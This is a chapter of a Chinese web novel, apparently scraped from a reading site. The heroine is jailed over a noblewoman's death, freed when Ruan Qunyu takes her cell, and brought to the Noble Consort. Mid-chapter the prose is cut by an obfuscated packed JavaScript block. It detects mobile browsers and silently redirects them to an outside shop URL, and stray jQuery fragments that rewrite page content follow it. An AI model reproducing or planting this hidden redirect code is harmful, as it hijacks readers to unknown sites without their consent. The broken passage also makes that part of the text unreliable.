文趣网 > 其他小说 > 燃烧吧,牡丹 > 12. 劫狱的另类方式
    神牡丹能想起的就只有这么多了,她将纸折起来,藏进医书里。

    天色已晚,她去收了被子重新铺好床榻就睡下了。

    第二天清晨,她刚做好早饭,门又再次被敲开了,这一次出现的人是带着刀的官差,二话不说就押她进了牢狱。

    到了牢中,她还在担心她父亲时,官差就把她父亲也关进了牢狱中,就在她隔壁。

    父亲的腰稍稍好些,能勉强靠墙坐着了,神牡丹这才放心,打起了精神问狱卒他们究竟因何被抓。

    狱卒像看死人一样看了他们一眼,一言不发。

    神林海抖个不停,他想到了最坏的可能:“莫不是皇,皇……”

    神牡丹做了个“噤声”的手势:“父亲莫慌,您仔细想想,若真是你想的那样,我们怎么会进到这牢狱里来呢。”

    神林海立刻反应过来,对啊,若是和皇后有关,他们早该上黄泉路了,怎么可能还会被抓进牢里,等待审讯呢?

    “那是因为……哦,会不会是昨日闯进咱家的那些人?”

    神牡丹第一反应不是,林婉蓉应该不会让官府来掺和她们之间的事。倒是林婉容的舅父,现在应该也有人发现他的尸体了吧……

    “我也不知,或许是,先等等看吧,既然抓了我们,总会知道的。”

    神牡丹安抚父亲,让他找个舒适的位置坐下休息,别再受伤了。

    而此时,神牡丹家中,匆忙赶来的阮群玉见屋里乱糟糟的一个人都没有,露出了一个“麻烦了”的表情,将掉在地上的簸箕捡起来放回架子上。

    走出院子没多久,又折回来将簸箕踹翻,呼吸急促,叉着腰深吸了几口气才离开。

    一早白晟就亲自闯进他的住处,告知他一个消息,林国公的长女,病逝了。

    阮群玉揉揉眼睛,心里还奇怪林国公的女儿死了跟白晟有什么关系,又和他有什么关系时,白晟才说:“林国公报了官,说有人证证明是神林海之女神牡丹害死了自己的女儿。”

    阮群玉:“啊?”

    白晟拍了拍他的肩膀:“瞧你这般惊讶,应该与你无关,可那神娘子……你昨日不是说去寻她了,有没有见过林国公之女?”

    阮群玉现在才想起那个林国公之女是谁,就是昨日去神牡丹家找茬的那两个人中的一个女子。

    “见过,走的时候好好的。”

    接着又想起自己好像打伤了其中一个:“也不是很好,我打伤了其中一个,应该就是林国公之女吧。”

    白晟听了拍在阮群玉肩膀上的手都僵住了,他试探着问道:“伤在哪?可危及性命?”

    “伤在手上,不致命。”

    阮群玉起身穿上靴子,见白晟面色舒展开来,好似真的在担心他一般,心中冷笑,嘴上着急问道:“人证是谁?”

    “我也不知,我一得消息就来寻你了,你若担心,我陪你去见林国公问个清楚。”

    “这……此事还是不必劳烦殿下,那个诬陷之人我会亲自把她抓出来。”

    白晟:“既然你说你和神娘子是清白的,我自然信,不过是去国公府走上一遭,又如何谈得上劳烦呢?”

    “只是小事,何必殿下出面。”

    国公的女儿病死了也不算什么大事,他一个皇子怎么会在意,甚至在这么短的时间内就收到消息。

    白晟是在监视神牡丹?

    “不过殿下是如何得知这个消息的?”

    阮群玉故意问这一句,白晟对答如流:“是二哥同我说的,他和府衙中人来往密切,昨夜就知道了。那国公之女回家不久就暴毙了,林国公很是难过,竟然还愿意让府衙彻查,没有直接去抓神娘子,想来还是有疑虑的。”

    “我知道了,多谢殿下。”

    ……

    牢狱之内看不见阳光,神牡丹也没心思吃东西,不知道过去多久了。

    神林海又睡着了,躺在地上打起了呼噜,遮盖了一部分老鼠和虫子的脚步声,而且看起来没心没肺的,倒是省心了。

    狱卒一直在各处巡视,尤其是她这一间。

    看来她犯的罪过还挺重的。

    狱卒第十九次经过,脚步声比之前重了,神牡丹抬头看过去,原来是多了一个人。

    多的那个人隔着牢门抬手同她打了个招呼,神牡丹还没反应过来,狱卒就打开了门,将那人请了进来。

    来人是阮群玉,这就足够她震惊的,但事实远远不止如此,阮群玉的手居然被锁链铐住了!她都没有被铐。

    “你,你怎么……你也犯事了?”

    “呵!”

    阮群玉抬手敲了下神牡丹的脑门:“怎么这么笨,我选择指望你,不会把我害死吧。”

    狱卒站在牢门处,没有催促,神牡丹便抓着阮群玉问道:“我什么都不知道就被抓来了,到底发生了什么?”

    阮群玉坐在了地上,把神牡丹的手往牢门外推:“你出去就知道了,记得救我哦。”

    “啊?”

    神牡丹一步三回头走出了牢门,看狱卒关上了门,牢里的人就直接枕着手躺下,悠哉悠哉像个小神仙。

    神牡丹又转头看向神林海,他还没醒。

    “那我父亲?”

    狱卒这次终于愿意搭理她了:“上面只吩咐说只放神娘子一人出去。”

    说完狱卒就垂下脑袋,抬手请她离开。

    神牡丹拍了拍牢门,吸引阮群玉的注意,阮群玉举起手挥了挥,示意她快走。

    “麻烦你照顾一下我父亲。”

    阮群玉闻言翻了个身面朝着墙壁,意思很明了,他自己的父亲都不理会,怎么可能照顾她的父亲。

    神牡丹还是抱着一丝希望,若是出了危及性命的事阮群玉能施以援手:“我就当你答应了。”

    她半信半疑地跟着狱卒往外走,脚下踩着干枯的稻草,发出清脆的断裂声。再走十几步,狱卒打开门,一道阳光打在她的眼睛上,她立刻抬手挡住。走出去后,等适应了放下了手,眼前就多了一个女子。

    那女子神容肃穆,穿着打扮挑不出任何毛病,甚至就连鞋底都是白的。

    她全身上下仿佛写着“宫里的人”这四个没有颜色的字。

    神牡丹鬼使神差地就跟她上了马车。马车很窄,她和那位“宫里的人”相对而坐,对方眼观鼻,鼻观心,即便神牡丹一直在打量她,她的眼皮也不曾动过一下。

    甚至连眨眼的频率都十分规律。

    “这位娘子,您要带我去做什么?”

    她抬起头,微微仰视神牡丹:“婢子是贵妃宫里人,带神娘子自然是去见贵妃。”

    贵妃,这么快?

    神牡丹捂着跳得厉害的心口,她昨晚还在揣测贵妃的病,想该怎么接近贵妃,借助贵妃的力量。可还不到十二时辰,她就能亲眼见到贵妃了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732149|208949||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>她的运气,什么时候变得这么好了。

    神牡丹丝毫没有克制自己的情绪,以至于她对面的娘子很清楚地感受到了神牡丹的惊喜,并因此投来了怪异的神情。

    等神牡丹注意到再看回去时,她又恢复了那副如神像般无欲无情的模样。

    “这位娘子怎么称呼?”

    “婢子姓蓝。”

    “哦,蓝娘子。”

    神牡丹的嗓音还带着些少女的甜腻,是以在读“蓝”时,若不注意,听起来很像“懒”。所以在见到蓝娘子略带惊讶的神情时,神牡丹在这之前就意识到了,捂着嘴慌忙道歉,还特意着重重新读了“蓝”字:“蓝,娘子,我不是故意的,真的。”

    蓝娘子眉头微微挑起,憋了半天才说:“婢子无碍,只是神娘子在贵妃面前可不要再言行无状了。”

    “是,是。”

    神牡丹就不敢再说话了,乖乖地握着手,放在膝盖上,也和蓝娘子一样,垂眸敛神。

    这样,她只能看见自己沾了灰尘的裙摆,和蓝娘子齐整的衣裙隔着一道微不可见的间隙,但无论马车怎么摇晃都碰不到一起。

    神牡丹不禁在内心感叹,就是有这样神奇的控制能力,这位蓝娘子才能保持浑身上下不染纤尘的吧。

    一路神牡丹就一直学着蓝娘子,等下了马车,便已经到了皇宫内。穿过一道紧闭的朱门,单调的灰墙青砖瞬间被姹紫嫣红的花叶淹没。

    才刚开春,这里却如同暮春时节一般充满了勃勃生机,花树们看起来都被照顾得很好。

    蓝娘子脚步很轻,匀速前行,脚步迈得不大,又稳又快,神牡丹跟在三步之后的距离,身旁的景色只来得及看一眼。

    一直走到神牡丹开始微微气喘,她们才到达贵妃的万年殿。

    神牡丹停在殿外,仰起头看着高高在上的牌匾,觉得这三个字很有气势,也很有福气。

    哪个皇帝不想活千年万年呢?对于有权有势的人来说,长寿是最顶级的福气。

    蓝娘子站在门槛里,她的眼睛落在神牡丹的腰间,看似恭敬垂眸,实则神色淡漠,恰好掩盖住了深处的三分讥讽。

    神牡丹在蓝娘子的眼神里走进万年殿,殿内也是一个五彩缤纷的世界,每一寸都被填得很满,是一个很有意思的地方。

    她在花树间看见了一只很丰满的狸花猫,仰躺着晒太阳,树枝上停着一只红色的小鸟,正在啄食树皮。

    猫和鸟都好悠闲,衬得阳光都更为明媚。

    沿着鹅卵石小道走到一处亭子,见几人簇拥着一位衣衫华丽、妆容精致、鬓间插着一支火红鲜花的妇人。

    她们正在放风筝,拿着风筝线的是个个头只有神牡丹一半的小姑娘,在院子里跑来跑去,笑得见牙不见眼。

    被簇拥着的妇人视线追随着高天之上的风筝,侧脸白皙透净,长睫根根分明,妆容很淡,比神牡丹预想中的年轻。

    蓝娘子在一旁等了一会才上前请示。

    她就是贵妃。

    贵妃生育了四皇子,四皇子与三皇子同岁,理应有三十岁以上了。

    神牡丹视线下移看着贵妃的石榴裙摆,已经沾染了不少尘土和湿泥。

    贵妃听了蓝娘子的话,将原本望着天空的视线转向了她,让她倍感荣幸。

    她不知该如何应对,只能干看着贵妃朝自己走来,停在她身前,问她:“你是真心喜欢群玉吗?”